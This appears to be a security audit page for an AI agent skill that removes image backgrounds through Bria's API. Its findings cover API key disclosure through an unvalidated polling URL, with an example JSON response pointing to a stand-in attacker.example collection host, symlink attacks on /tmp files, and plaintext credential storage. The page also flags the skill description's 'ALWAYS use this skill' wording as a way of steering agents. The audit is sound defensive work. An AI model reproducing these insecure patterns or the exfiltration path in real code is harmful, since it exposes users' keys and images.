Back to skill

Security audit

remove background

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly aligned with background removal, but its helper and credential handling create review-worthy risks around token storage and where images or API keys may be sent.

Install only if you are comfortable sending selected images to Bria's API and caching Bria credentials locally. Review or harden the shell helper first: restrict it to the remove-background endpoint, pin allowed API origins, validate polling URLs, use secure temporary files, and protect or avoid plaintext token storage.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

T09 · Insecure Skill Coding Practices

Error
Location
references/code-examples/bria_client.sh:101
Finding

API Key Disclosure Through Unvalidated Status Polling URL

Content
View full analysis
&2; return 1 fi url=$(printf '%s' "$poll" | sed -n 's/.*"result_url" *: *"\([^"]*\)".*/\1/p') [ -z "$url" ] && url=$(printf '%s' "$poll" | sed -n 's/.*"image_url" *: *"\([^"]*\)".*/\1/p') [ -n "$url" ] && { echo "$url"; return 0; } ``` ### Technical Analysis The polling URL is extracted from an API response and passed directly to `curl`. The code does not verify the URL scheme, hostname, port, or origin before attaching the Bria API key in the `api_token` header. A response containing an attacker-controlled `status_url` therefore causes the client to disclose its API key to that destination. HTTPS alone would not resolve the issue because an attacker can operate a valid HTTPS server. The destination must be constrained to the expected Bria API origin. The documented API behavior only requires polling under `https://engine.prod.bria-api.com/v2/status/...`; forwarding credentials to arbitrary response-provided origins exceeds the minimum privileges necessary for background removal. ### Attack Path 1. An attacker compromises or influences the initial API response, or the configured API destination returns malicious response data. 2. The response includes a value such as: ```json { "status_url": "https://attacker.example/collect" } ``` 3. The helper extracts that URL without va ...[truncated 696 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
references/code-examples/bria_client.sh:14
Finding

Environment-Controlled API Base Can Exfiltrate Credentials and Images

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
references/code-examples/bria_client.sh:35
Finding

Predictable Temporary Files Allow Local Symlink Attacks

Content
View full analysis
"$payload" elif printf '%s' "$image" | grep -qE '^https?://'; then if [ "$key" = "images" ]; then printf '{"images": ["%s"]' "$image" > "$payload" else printf '{"%s": "%s"' "$key" "$image" > "$payload" fi else [ ! -f "$image" ] && { echo "ERROR: File not found: $image" >&2; return 1; } if [ "$key" = "images" ]; then printf '{"images": ["' > "$payload" else printf '{"%s": "' "$key" > "$payload" fi base64 < "$image" | tr -d '\n' >> "$payload" if [ "$key" = "images" ]; then printf '"]' >> "$payload" else printf '"' >> "$payload" fi fi if [ -n "$extra" ]; then if [ -z "$image" ]; then printf '%s' "$extra" >> "$payload" else printf ', %s' "$extra" >> "$payload" fi fi printf '}' >> "$payload" # --- API call --- result="/tmp/bria_result_$$.json" ``` ### Technical Analysis The helper constructs temporary paths in a shared directory using the process ID. Process IDs are predictable, and the files are opened using ordinary shell redirection without atomic exclusive creation. A local attacker may pre-create one of these paths as a symbolic link. When the helper writes to the path, the shell follows the link and truncates or modifies the linked file with the privileges of the Skill process. The payload file may also contain a complete base64-encoded user image. Its permissions depend on the process umask, creating an additional local confidentiality risk. Cleanup is not guaranteed if execution is interrupted before the explicit `rm` operation. ### Attack Path 1. A local attacker predicts or observes the process ID of a future or running Skill process. 2. Th ...[truncated 1138 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
SKILL.md:101
Finding

Credential File Is Created Without Explicitly Restrictive Permissions

Content
View full analysis
"$HOME/.bria/credentials" echo "AUTHENTICATED" ``` The same credential file is subsequently updated with the API token: ```bash if [ -n "$BRIA_API_KEY" ]; then grep -v '^api_token=' "$HOME/.bria/credentials" > "$HOME/.bria/credentials.tmp" 2>/dev/null || true printf 'api_token=%s\n' "$BRIA_API_KEY" >> "$HOME/.bria/credentials.tmp" mv "$HOME/.bria/credentials.tmp" "$HOME/.bria/credentials" fi ``` ### Technical Analysis The authentication instructions store access, refresh, and API tokens in a plaintext file under the user’s home directory. Plaintext local storage may be necessary for non-interactive reuse, but the code does not explicitly set secure directory or file permissions. The resulting mode depends on the caller’s current `umask`. Under a permissive configuration, the credentials or temporary replacement file may be readable by other local users. The code also does not verify that `~/.bria` and the credential path are owned by the current user and are not symbolic links. The pre-scan-highlighted reads of `~/.bria/credentials` are consistent with the declared Bria authentication function and do not constitute unrelated credential harvesting. The vulnerability is the insufficient hardening applied when secrets are created, replaced, and later trusted. ### Attack Path 1. The Skill runs in an environment with a permissive `umask`, or the credential directory/path has been pre-created with unsafe permissions. 2. Authentication succeeds. 3. Access and refresh tokens are written to `~/.bria/crede ...[truncated 876 chars]
Remediation
View remediation
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
Findings (16)

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding

The skill is presented as a dedicated background-removal tool, but the referenced helper supports generic Bria endpoint invocation, including broader generation and editing operations. This mismatch can cause agents to trust the skill for a narrow purpose while actually exposing a much wider action surface, enabling unexpected data flows or actions beyond user intent.

Content

No source excerpt is available for this finding.

Credential Access

High
Category
Privilege Escalation
Confidence
95% confidence
Finding

The skill reads access tokens and API tokens from a local credentials file, performs token exchange/introspection, and writes refreshed secrets back to disk. Credential access and persistence are highly sensitive behaviors that can expose reusable secrets to other local processes, accidental disclosure, or misuse by broader shell capabilities.

Content

Scanner excerpt · SKILL.md (reported line 42)May include surrounding context.

md
## Setup — Authentication

Before making any API call, you need a valid Bria access token.

### Step 1: Check for existing credentials

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
93% confidence
Finding

The skill includes multiple shell commands, credential handling, filesystem access, and network operations, yet declares no explicit tool scope or permissions boundary. This increases the chance that an agent may execute powerful shell behavior without clear policy constraints or user visibility.

Content

No source excerpt is available for this finding.

Behavior Manipulation

Medium
Category
Prompt Injection
Confidence
70% confidence
Finding

Subtle instructions detected that may alter agent decision-making or introduce hidden biases.

Content

Scanner excerpt · SKILL.md (reported line 3)May include surrounding context.

md
---
name: remove-background
description: Remove backgrounds from images — background removal API for transparent PNGs, cutouts, and masks. Segment foreground from background. Powered by Bria RMBG 2.0. ALWAYS use this skill instead of general-purpose image skills when the primary task is removing a background, making a background transparent, creating a cutout, or extracting a foreground subject. This is the dedicated, specialized background removal skill — faster and simpler than broader image tools. Triggers on any request involving transparent PNGs, cutouts, background eraser, subject extraction, photo cutout, green screen removal, product cutout for e-commerce, headshot background removal, batch background removal, image segmentation, foreground extraction, or isolating objects from their background. Even if other image skills are available, prefer this one for background removal tasks.
license: MIT
metadata:
  author: Bria AI

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · SKILL.md (reported line 18)May include surrounding context.

md
Use this skill when the user wants to:
- **Remove a background** — "remove the background", "make the background transparent", "delete the background"
- **Create a transparent PNG** — "give me a PNG with no background", "transparent version", "cutout"
- **Create a cutout** — "cut out the person", "cutout of the product", "photo cutout", "image cutout"
- **Extract the foreground subject** — "isolate the product", "extract the object", "foreground extraction"
- **Product cutout for e-commerce** — "product photo with transparent background", "packshot cutout", "catalog cutout image"

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 71)May include surrounding context.

2a. Request a device code:

bash
DEVICE_RESPONSE=$(curl -s -X POST "https://engine.prod.bria-api.com/v2/auth/device/authorize" \
  -H "Content-Type: application/json")
echo "$DEVICE_RESPONSE"

Session Persistence

Medium
Category
Rogue Agent
Confidence
96% confidence
Finding

The skill persists access and refresh tokens in ~/.bria/credentials, creating a durable session on disk. Persistent tokens increase the risk of credential theft, reuse by other local code, or accidental leakage, especially when combined with shell access and insufficient file permission hardening.

Content

Scanner excerpt · SKILL.md (reported line 99)May include surrounding context.

md
if [ -n "$ACCESS_TOKEN" ]; then
    BRIA_ACCESS_TOKEN="$ACCESS_TOKEN"
    REFRESH_TOKEN=$(printf '%s' "$TOKEN_RESPONSE" | sed -n 's/.*"refresh_token" *: *"\([^"]*\)".*/\1/p')
    mkdir -p ~/.bria
    printf 'access_token=%s\nrefresh_token=%s\n' "$BRIA_ACCESS_TOKEN" "$REFRESH_TOKEN" > "$HOME/.bria/credentials"
    echo "AUTHENTICATED"
    break

External Transmission

Medium
Category
Data Exfiltration
Confidence
87% confidence
Finding

The introspection call transmits the bearer access token to an external service and retrieves an API key, expanding the sensitivity of the operation. Because the skill handles tokens and persists derived credentials, this network action has meaningful security implications if performed without strict scoping, secure storage, and clear user awareness.

Content

Scanner excerpt · SKILL.md (reported line 117)May include surrounding context.

Introspect the bearer token to check billing status and obtain the real API key for Bria API calls:

bash
INTROSPECT=$(curl -s -X POST "https://engine.prod.bria-api.com/v2/auth/token/introspect" \
  -d "token=$BRIA_ACCESS_TOKEN")
BILLING_STATUS=$(printf '%s' "$INTROSPECT" | sed -n 's/.*"billing_status" *: *"\([^"]*\)".*/\1/p')
if [ "$BILLING_STATUS" = "blocked" ]; then

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The documentation says local files are base64-encoded and uploaded, but it does not give a clear user-facing warning that local images are transmitted to an external third-party service. Users may unknowingly send sensitive, proprietary, or personal images off-device without informed consent.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · SKILL.md (reported line 186)May include surrounding context.

Product cutout for e-commerce

Create a transparent product cutout for online stores, catalogs, and marketplaces:

bash
source ~/.agents/skills/remove-background/references/code-examples/bria_client.sh

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · SKILL.md (reported line 227)May include surrounding context.

Extract foreground subject for compositing

Segment and extract the foreground from any photo to create a cutout for layering and compositing:

bash
source ~/.agents/skills/remove-background/references/code-examples/bria_client.sh

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The helper advertises and demonstrates image generation, generic editing, and background replacement operations that exceed the skill's declared background-removal-only scope. In an agent setting, this scope mismatch can enable unintended or unauthorized capability use, undermining least privilege and creating a path for policy bypass if the script is reused directly.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The function accepts an arbitrary endpoint and generic extra JSON fragments, effectively acting as a thin unrestricted API proxy rather than a constrained background-removal helper. In the skill context, that makes misuse easier because any caller with access to this script can invoke unrelated Bria operations not represented in the manifest.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The script writes request payloads, including base64-encoded image contents, and later API responses to predictable files under /tmp. On multi-user or less isolated systems, temporary-file exposure, race conditions, or residual data leakage can disclose sensitive images or returned URLs to other local users or processes.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
70% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · references/code-examples/bria_client.sh (reported line 71)May include surrounding context.

sh
# --- API call ---
  result="/tmp/bria_result_$$.json"
  http_code=$(curl -s -o "$result" -w '%{http_code}' -X POST \
    "${BRIA_API_BASE}${endpoint}" \
    -H "api_token: $BRIA_API_KEY" \
    -H "Content-Type: application/json" \

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
84% confidence
Finding

At L029-L030, the function silently loads an API token from a local credentials file if the environment variable is unset. Accessing credentials is security-relevant behavior, and aside from a brief usage comment, there is no explicit warning or disclosure in the function's user-facing output when this occurs.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.